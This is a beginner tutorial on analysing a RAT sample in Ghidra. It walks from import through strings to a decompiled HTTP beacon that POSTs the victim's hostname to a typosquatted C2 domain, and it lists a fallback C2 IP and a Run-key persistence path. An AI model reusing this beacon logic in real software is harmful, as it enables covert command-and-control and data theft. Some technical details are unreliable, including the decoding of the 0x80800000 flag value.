In 2024, the PlugX RAT resurfaced in campaigns targeting European government networks. Analysts who cracked it open in Ghidra found hardcoded C2 addresses and XOR-obfuscated strings hiding in plain sight inside the PE binary. If you have never opened a malware sample in Ghidra before, this guide walks you through exactly what that process looks like — from first launch to your first real finding.
Setting Up Ghidra and Importing Your First Sample
Ghidra is NSA’s open-source reverse engineering framework. Think of it as a disassembler and decompiler combined — it converts raw binary into readable C-like pseudocode. Download it from ghidra-sre.org, extract the archive, and launch it with:
$ cd /opt/ghidra_11.1_PUBLIC
$ ./ghidraRun
Always work inside an isolated VM. Create a new project, then go to File > Import File and load your sample. For this walkthrough, the sample is a suspicious PE32 dropped on a Windows host at C:\Users\jharris\AppData\Roaming\svchost32.exe — a classic masquerade name.
Ghidra will fingerprint the binary before you even open it. Check the import summary window carefully.
Language: x86:LE:32:default
Compiler: windows
File type: Portable Executable (PE)
MD5: a3f1c8e2b7d04591aabbcc1234567890
Import date: 2026-07-27
Sections: .text .rdata .data .rsrc
Entry point: 0x00401000
Four sections is normal. If you saw a section named .ndata or something unprintable, that would signal a packer — the real code is compressed and would need unpacking first. Here, the sections look clean, so you can run the auto-analysis immediately. Hit A, accept the defaults, and let Ghidra disassemble the binary. On a 32-bit sample under 500 KB this takes under two minutes.
Hunting Strings and Spotting the C2 Address
The fastest way to get oriented in an unknown sample is to pull its strings. Ghidra’s Defined Strings window (Window > Defined Strings) lists every printable string the decompiler found. This is where analysts caught PlugX — the C2 domain was sitting unobfuscated in .rdata.
In our sample, sorting by address surfaces something immediately interesting:
Address Length String
00403A10 22 update.microsoftsvc.net
00403A28 15 /api/v2/checkin
00403A38 11 192.0.2.47
00403A44 8 cmd.exe
00403A4C 19 SOFTWARE\\Microsoft\\Run
00403A60 12 jharris-PC-001
Break this down piece by piece. update.microsoftsvc.net is a typosquatted domain impersonating Microsoft — red flag one. The path /api/v2/checkin is a classic RAT beacon endpoint. The IP 192.0.2.47 is almost certainly the fallback C2. cmd.exe confirms command execution capability. The registry key under SOFTWARE\Microsoft\Run is how it persists across reboots. And jharris-PC-001 — the hostname of the infected machine — was compiled into the binary, which tells you this sample may have been customized for this target.
Double-click any string to jump to its address. From there, press X to find all cross-references — every function that uses that string. That will lead you directly to the network and persistence routines.
Reading Decompiled Code: The Beacon Function
Follow the cross-reference on /api/v2/checkin and you land inside a function Ghidra auto-named FUN_00401890. The decompiler output looks like this:
void FUN_00401890(void)
{
HINTERNET hSession;
HINTERNET hConnect;
char szBuffer [256];
hSession = InternetOpenA("Mozilla/5.0", 1, NULL, NULL, 0);
hConnect = InternetConnectA(hSession, "update.microsoftsvc.net",
443, NULL, NULL, 3, 0, 0);
wsprintfA(szBuffer, "/api/v2/checkin?h=%s", "jharris-PC-001");
HttpOpenRequestA(hConnect, "POST", szBuffer, NULL, NULL, NULL,
0x80800000, 0);
return;
}
This is a textbook HTTP beacon. The malware opens a WinINet session, connects to the C2 over port 443, and POSTs a checkin request containing the hostname. The User-Agent is spoofed as Firefox to blend into proxy logs. The flag 0x80800000 passed to HttpOpenRequestA combines INTERNET_FLAG_SECURE and INTERNET_FLAG_NO_CACHE_WRITE — it uses HTTPS and avoids leaving cache artifacts.
Rename the function: right-click the name, choose Rename Function, and call it beacon_checkin. Build a call graph from here (right-click > References > Show Call Trees) to see what triggers the beacon — usually a persistence stub or a scheduled task launcher sits one level up.
What To Do Now
Grab a safe, legal malware sample from MalwareBazaar (bazaar.abuse.ch) — filter by tag AgentTesla or AsyncRAT, download a recent PE, and open it in Ghidra on an isolated VM right now. Run auto-analysis, open Defined Strings, and find one suspicious domain or IP. Then follow its cross-references into the decompiled code. That single exercise — string to function to logic — is the core loop every malware analyst runs dozens of times a day. Start there.
